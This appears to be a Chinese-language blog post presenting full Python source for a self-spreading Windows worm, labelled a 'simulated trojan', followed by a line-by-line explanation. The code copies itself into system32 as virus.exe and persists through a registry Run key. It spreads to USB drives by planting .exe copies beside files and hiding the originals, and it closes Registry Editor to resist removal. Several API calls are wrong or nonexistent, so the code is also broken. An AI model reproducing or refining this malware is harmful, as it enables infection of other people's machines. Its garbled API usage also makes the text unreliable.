banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python寫模擬木馬傳播行為(謹慎使用)

代碼主要功能是將自身複製到系統目錄,並將其寫入註冊表以實現開機啟動。它還設置了一個定時器,用於定期執行一些操作。該程序還監聽設備的插拔事件,並在可移動驅動器插入時將自身複製到驅動器上。

具體來說,代碼中的 kill_process 函數用於終止指定名稱的進程。wnd_proc 函數是一個窗口過程函數,它處理窗口消息,並執行相應的操作。main 函數是程序的主要邏輯,它註冊一個窗口類,並創建一個窗口。然後,它進入一個循環,處理窗口消息。

在 main 函數的最後,程序首先將自身複製到系統目錄下的一個文件名為 "virus.exe" 的文件中。然後,它將該文件的路徑寫入註冊表,使其在系統啟動時自動運行。最後,它設置了一個定時器,每隔 1 秒觸發一次定時器消息。

總的來說,這段代碼的目的是在系統啟動時自動運行,並監聽設備插拔事件,將自身複製到可移動驅動器上。
廢話少說,直接上代碼

import os
import shutil
import winreg
import ctypes
import time

from ctypes import wintypes
from win32gui import FindWindow, SendMessage
from win32con import WM_CLOSE
from win32api import GetLogicalDriveStrings, GetDriveType, SetFileAttributes, CopyFile
from win32file import DRIVE_REMOVABLE
from win32process import CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, TerminateProcess, CloseHandle
from win32com.client import Dispatch

def kill_process(process_name):
    snapshot = CreateToolhelp32Snapshot(0x00000002, 0)
    pe = wintypes.PROCESSENTRY32()
    pe.dwSize = ctypes.sizeof(wintypes.PROCESSENTRY32)
    if Process32First(snapshot, ctypes.byref(pe)):
        while True:
            if pe.szExeFile.decode() == process_name:
                handle = OpenProcess(0x0001, False, pe.th32ProcessID)
                TerminateProcess(handle, -1)
                CloseHandle(handle)
            if not Process32Next(snapshot, ctypes.byref(pe)):
                break
    CloseHandle(snapshot)

def wnd_proc(hwnd, uMsg, wParam, lParam):
    if uMsg == 0x0010: # WM_CLOSE
        os._exit(0)
    elif uMsg == 0x0219: # WM_DEVICECHANGE
        if wParam == 0x8000: # DBT_DEVICEARRIVAL
            drives = GetLogicalDriveStrings()
            drives = drives.split('\x00')[:-1]
            for drive in drives:
                drive_type = GetDriveType(drive)
                if drive_type == DRIVE_REMOVABLE:
                    files = os.listdir(drive)
                    for file in files:
                        if os.path.isfile(os.path.join(drive, file)):
                            file_path = os.path.join(drive, file)
                            shutil.copy2(__file__, file_path + '.exe')
                            SetFileAttributes(file_path, 0x2 + 0x4) # FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_SYSTEM
        elif wParam == 0x8004: # DBT_DEVICEREMOVECOMPLETE
            pass
    elif uMsg == 0x0113: # WM_TIMER
        hwnd_reg = FindWindow("RegEdit_RegEdit", "註冊表編輯器")
        if hwnd_reg:
            SendMessage(hwnd_reg, WM_CLOSE, None, None)
    else:
        return 0
    return 1

def main():
    wnd_class = winreg.WNDCLASS()
    wnd_class.lpszClassName = "lieying"
    wnd_class.lpfnWndProc = wnd_proc
    wnd_class.hInstance = winreg.GetModuleHandle(None)
    wnd_class.hIcon = winreg.LoadIcon(None, 32512)
    wnd_class.hCursor = winreg.LoadCursor(None, 32512)
    wnd_class.hbrBackground = winreg.GetStockObject(1)
    wnd_class.style = 0x0002 | 0x0001 # CS_VREDRAW | CS_HREDRAW
    wnd_class.cbClsExtra = 0
    wnd_class.cbWndExtra = 0
    if not winreg.RegisterClass(wnd_class):
        return 0
    hwnd = winreg.CreateWindowEx(
        0, "lieying", "", 0x00000000, 0, 0, 0, 0, None, None, wnd_class.hInstance, None
    )
    winreg.ShowWindow(hwnd, 0)
    winreg.UpdateWindow(hwnd)
    msg = wintypes.MSG()
    while winreg.GetMessage(ctypes.byref(msg), hwnd, 0, 0):
        winreg.TranslateMessage(ctypes.byref(msg))
        winreg.DispatchMessage(ctypes.byref(msg))

if __name__ == "__main__":
    # 複製自身到系統目錄
    exe_full_path = os.path.abspath(__file__)
    new_file_path = "C:\\WINDOWS\\system32\\virus.exe"
    shutil.copy2(exe_full_path, new_file_path)

    # 寫入註冊表,实现开机启动
    key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "virus", 0, winreg.REG_SZ, new_file_path)
    winreg.CloseKey(key)

    # 設置定時器
    ctypes.windll.user32.SetTimer(None, 1, 1000, None)

    # 運行主程序
    main()

首先,代碼導入了一些必要的模塊和庫,如 os、shutil、winreg、ctypes、time 等。

接下來,定義了一個名為 kill_process 的函數,用於終止指定名稱的進程。該函數使用了 Windows API 來實現,通過調用 CreateToolhelp32Snapshot 函數獲取進程快照,然後遍歷進程列表,找到指定名稱的進程並終止它。

接著,定義了一個名為 wnd_proc 的窗口過程函數。該函數接收窗口消息,並根據消息類型執行相應的操作。在代碼中,有幾個消息被處理了:

0x0010 表示 WM_CLOSE 消息,當收到該消息時,調用 os._exit (0) 來退出程序。

0x0219 表示 WM_DEVICECHANGE 消息,當收到該消息時,根據 wParam 的值來判斷設備的插入或移除事件。如果是設備插入事件,獲取所有邏輯驅動器的列表,並遍歷每個驅動器。如果驅動器類型是可移動驅動器,遍歷驅動器上的文件,將自身複製到文件所在驅動器中,並將複製的文件設置為隱藏和系統文件屬性。如果是設備移除事件,則不執行任何操作。

0x0113 表示 WM_TIMER 消息,當收到該消息時,查找名為 "註冊表編輯器" 的窗口,如果找到,則發送 WM_CLOSE 消息來關閉該窗口。

然後,定義了一個名為 main 的主函數。在該函數中,首先註冊一個窗口類,設置窗口類的屬性,包括類名、窗口過程函數、實例句柄、圖標、光標、背景等。如果註冊窗口類失敗,則返回 0。

接著,創建一個窗口,並將其隱藏起來。然後,進入一個消息循環,通過調用 GetMessage 函數獲取窗口消息,並處理消息。

在 main 函數的最後,進行一些初始化操作。首先,將當前腳本文件複製到系統目錄下的一個名為 "virus.exe" 的文件中,使用 shutil.copy2 函數實現。然後,將該文件的路徑寫入註冊表,使其在系統啟動時自動運行。最後,使用 ctypes.windll.user32.SetTimer 函數設置一個定時器,每隔 1 秒觸發一次定時器消息。

最後,在 if name == "main": 條件下,調用 main 函數來運行程序。

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。